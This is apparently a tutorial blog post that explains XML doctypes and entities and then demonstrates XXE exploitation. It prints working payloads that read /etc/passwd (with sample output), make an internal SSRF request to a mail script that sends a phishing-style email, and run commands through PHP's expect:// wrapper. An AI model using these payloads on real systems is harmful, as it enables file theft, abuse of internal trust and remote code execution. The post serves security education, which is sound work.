Extensible Markup Language, or XML for short, is a highly versatile standard for organizing and structuring data. Visually, it is similar to HTML in that it makes use of tags/elements enclosed in angle brackets. Using it, you can easily store and describe complex datasets, metadata, and relational information without the need for a database.
Starting with the Basics
XML makes it easy to transfer data and objects between one system to another. For example, if I wanted to store and send a
Customer object from a customer database, I could use XML like so:
It's simplistically written, easily human-readable, and can be rapidly converted to other data types if necessary. However, XML can do far more than just utilize arbitrary tags containing textual data. It includes a score of advanced functionality that allows for more complicated use-cases. One such functionality is the ability to use what are called Entities.
What's the Deal with Doctypes?
Before we can talk about XML Entities, we first need to talk about Document Type Definition, or DTD. You may be familiar with Doctypes in HTML, like the following:
<!DOCTYPE html> which is the Doctype for an HTML5 document.
DTDs are a way to inform your browser or parsing software about the type of document that is being read. The
html doctype informs your browser that the file it's reading adheres to the definitions and rules laid out in the HTML5 specification. Likewise, we can use DTDs to inform parsing software about the definitions and rules of an XML file.
Unlike HTML, which has predefined tags such as
<p>, XML tags aren't predefined and can be anything you want. Using a DTD however, you can create strict rules about how an XML file must be structured. Take the following DTD for example:
<!DOCTYPE Customers [ <!ELEMENT Customers (Customer)> <!ELEMENT Customer (Name, Address)> <!ELEMENT Name (First, Last)> <!ELEMENT Address (Street, City, State)> <!ELEMENT First (#PCDATA)> <!ELEMENT Last (#PCDATA)> <!ELEMENT Street (#PCDATA)> <!ELEMENT City (#PCDATA)> <!ELEMENT State (#PCDATA)> ]>
This DTD specifies rules that our XML file (or files) must meet in order to be considered valid by whatever parses (processes) it. The first half creates a Doctype named
Customers, and specifies that the
root node, the first element in the file, must be
Customers. It then states that the
Customer element must have two child elements,
Address, which themselves have child elements.
Name must contain the elements
Address must contain
State. Essentially, this part specifies what elements/nodes need to be in the document, and where.
The second half specifies that the inner-most child elements,
State all will contain
PCDATA, or parsed character data. Essentially, they will contain data/text that will be parsed by whatever parsing software reads the XML file.
The DTD is always placed at the start of an XML file. It's important to note that the name of the Doctype can be whatever you desire it to be. In our example, it's named Customers, and we named the root node (the first element) Customer. However, we could have named the DTD
Ry4nShExample and nothing would change. The reason it's named Customers in this example is that it's a Doctype for holding Customer data.
Now that we have some basic knowledge about DTDs laid out, we can talk about XML Entities.
What is an XML Entity?
Entities are essentially shortcuts to, or custom items that contain, some specified data. You can think of them as something akin to variables (though, it's important to understand this is just an analogy). In practice, you might use them to specify special characters, define a shortened name for some long string of text, or even point to some external set of data outside the XML file.
Imagine for a moment that you found yourself writing an XML document for your company "Foobar Productions, LLC" and found yourself having to type your company name constantly. Instead of typing it over and over again, you could use what's called an Internal Entity by specifying the following within the DTD:
<!ENTITY cname "Foobar Productions, LLC">
Now, anytime you wanted to place your company's name within the document, you could simply write
&cname; to reference the entity. It's important to note that
cname is just the name we are giving the entity (kind of like declaring a variable name). We can make that name anything that we want. For example, we could have written
<!ENTITY ryanIsTheBest "Foobar Productions, LLC"> and it would work just the same.
This use-case is a convenient little time-saver, but it's nothing particularly interesting or mind-blowing. The real magic happens when we make use of what's called an External Entity.
Imagine you had a DTD that you wanted to use on multiple XML files. Sure, you could copy and paste the DTD into each file, but that's inefficient and tedious. Instead, you could specify an External Entity (an entity that references data outside the XML document) that points to your DTD file, like so:
<!ENTITY root-element SYSTEM "filename.dtd">
SYSTEM keyword specifies we are referencing some resource (internal or external) accessible by the system (the server), in this case
filename.dtd. Using the above entity, we can specify that the DTD stored in
filename.dtd should apply to our root element. This is great! We can load in data from elsewhere and use it. No more copy and pasting.
At this point you may be thinking "Ryan, that's great and all, but how does any of this help me exploit something? Get to the good part!"
How Can We Exploit External Entities?
By far, the most common use for external entity exploitation is to achieve Local File Inclusion, or LFI. Remember how we were able to reference the data stored in a DTD file? We were taking a file stored physically on the parser's machine, and reading into our XML document. What if we could do more than just read DTD files?
Local File Inclusion using XXE
Take for example the following entity definition:
<!ENTITY passwd SYSTEM "file:///etc/passwd" >
This creates an entity named
passwd, and has it reference the
/etc/passwd file. We can then reference that entity by simply including it anywhere that is valid within the XML document. Remember our Customers XML file from earlier? Let's see what it would look like if we wanted to add this particular form of XXE injection to it.
<!DOCTYPE 0xRy4n [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <Customers> <Customer> <Name> <First>&passwd;</First> <Last>Gordon</Last> </Name> <Address> <Street>10 Example Street</Street> <City>Tampa</City> <State>Florida</State> </Address> </Customer> </Customers>
Above, we create a custom DTD called
0xRy4n, and define an entity called
passwd that, like earlier, references the
/etc/passwd file. We also reference that entity on line 9, by including
&passwd; inside of the
First element. This is important because this is where the actual data stored in the entity will be placed when the XML document is parsed.
So what even happens when this XML document is parsed? Well, if the parser allows for this type of functionality, the data from
/etc/passwd should now be displayed inside
First whenever this XML document is parsed. If we were to take a look at the parsed XML file given to us by a browser accessing it on some web server, our result might look something like this:
Customers ******** -- First Name: root:!:0:0::/:/usr/bin/bash daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: nobody:!:4294967294:4294967294::/: lpd:!:9:4294967294::/: lp:*:11:11::/var/spool/lp:/bin/false invscout:*:200:1::/var/adm/invscout:/usr/bin/bash nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico ryan:!:201:1::/home/ryan:/usr/bin/zsh Last Name: Gordon Address: 10 Example Street, Tampa, Florida --
In this example, the server would parse the XML data and try to display it back in a more naturally readable format. However, rather than the customer's first name, it would instead show us all of the user entries in the
/etc/passwd file. A classic example of LFI.
Anything that the parser's user context has access to can be read this way. We could read the source code of PHP, Python, or JSP files. We could try to take a peek inside of a config file, or maybe an authentication file. I've even used this method to read
id_rsa files containing private keys, in cases where the file both existed and the webserver was running as the relevant user.
While LFI is the most common way to abuse external entities, there's more that could be done.
Server-Side Request Forgery (SSRF) using XXE
A server-side request forgery is a form of attack that works by causing the server to make a request on your behalf. At its core, SSRF is a way to abuse trust relationships the server has internally within itself, as well as the ones it has with other resources across the network. Let's say there is some functionality that a server can perform, but it doesn't want just anybody performing that functionality. One way to implement an additional level of protection would be to not honor requests made by remote connections. But what if the server made a request to itself?
Let's say there's a file called
sendMail.php that sends out emails on behalf of the webserver, and that it allows requests to be made to it like shown here:
GET /path/to/sendMail.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: <length> to=veryImportantClient@Fortune500.CEO&subject=Click This Not Evil(tm) Link&content=http://notAnEvilLink.evil
Now, clearly, you don't want anyone to be able to send arbitrary emails coming from your company server/domain, so in order to stop random people from making the above request, you would implement some form of access control. This probably means the request has to be a part of an authenticated session of an authorized user in order for this request to go through. Common sense security, right?
But what happens if this request comes from the server itself? In some cases, the server sees that the request came from itself, proclaims aloud "hah, of course I trust myself!" and bypasses all of the access controls. This could mean enumerating internal services, sending requests to other devices on the network, or, in our case, sending a definitely-not-malicious email.
We can use XXE to make this happen by tweaking our entity definition from earlier.
<!DOCTYPE 0xRy4n [ <!ENTITY ssrf SYSTEM "http://10.10.10.42/sendMail.php?to=veryImportantClient@Fortune500.CEO&subject=Click+This+Not+Evil(tm)+Link&content=http://notAnEvilLink.evil"> ]> <Customers> <Customer> <Name> <First>&ssrf;</First> <Last>Gordon</Last> </Name> <Address> <Street>10 Example Street</Street> <City>Tampa</City> <State>Florida</State> </Address> </Customer> </Customers>
Now when the server parses this XML document, it will make a request to the URL we specified in the
ssrf entity. Since the request is an internal one coming from the server itself, the request will get processed and our evil email will be sent!
But wait, there's more!
Remote Code Execution using XXE
If the server we are dealing with is a PHP server specifically, we actually gain an additional tool that we can abuse, this time to get us all the way to RCE. For this to work, we will need the
expect:// PHP wrapper to be enabled. Sadly, this is not enabled by default, and must be installed manually from the PECL repository. If it is installed and enabled, we can use to execute commands through a custom URI.
The following is a basic example of RCE using this method:
<!DOCTYPE 0xRy4n [ <!ENTITY rce SYSTEM "expect://id"> ]>
And voila, we have code execution.